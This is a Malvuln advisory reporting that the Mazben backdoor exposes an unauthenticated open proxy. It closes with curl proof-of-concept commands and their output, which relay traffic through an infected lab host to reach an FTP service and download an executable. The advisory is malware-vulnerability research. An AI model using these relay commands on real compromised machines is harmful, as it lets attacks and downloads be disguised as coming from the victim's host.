Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fcd611ccbc756fab43761f4b18372b81.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Mazben.es
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on random TCP ports like 2608, 6751, 3087, 5947. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: fcd611ccbc756fab43761f4b18372b81
Vuln ID: MVID-2021-0377
Disclosure: 10/27/2021

Exploit/PoC:
curl  -x http://192.168.18.125:6751 http://192.168.18.128:21
220 INetSim FTP Service ready.

curl  -x http://192.168.18.125:6751 http://192.168.18.128/DOOM.exe --output DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01  307k


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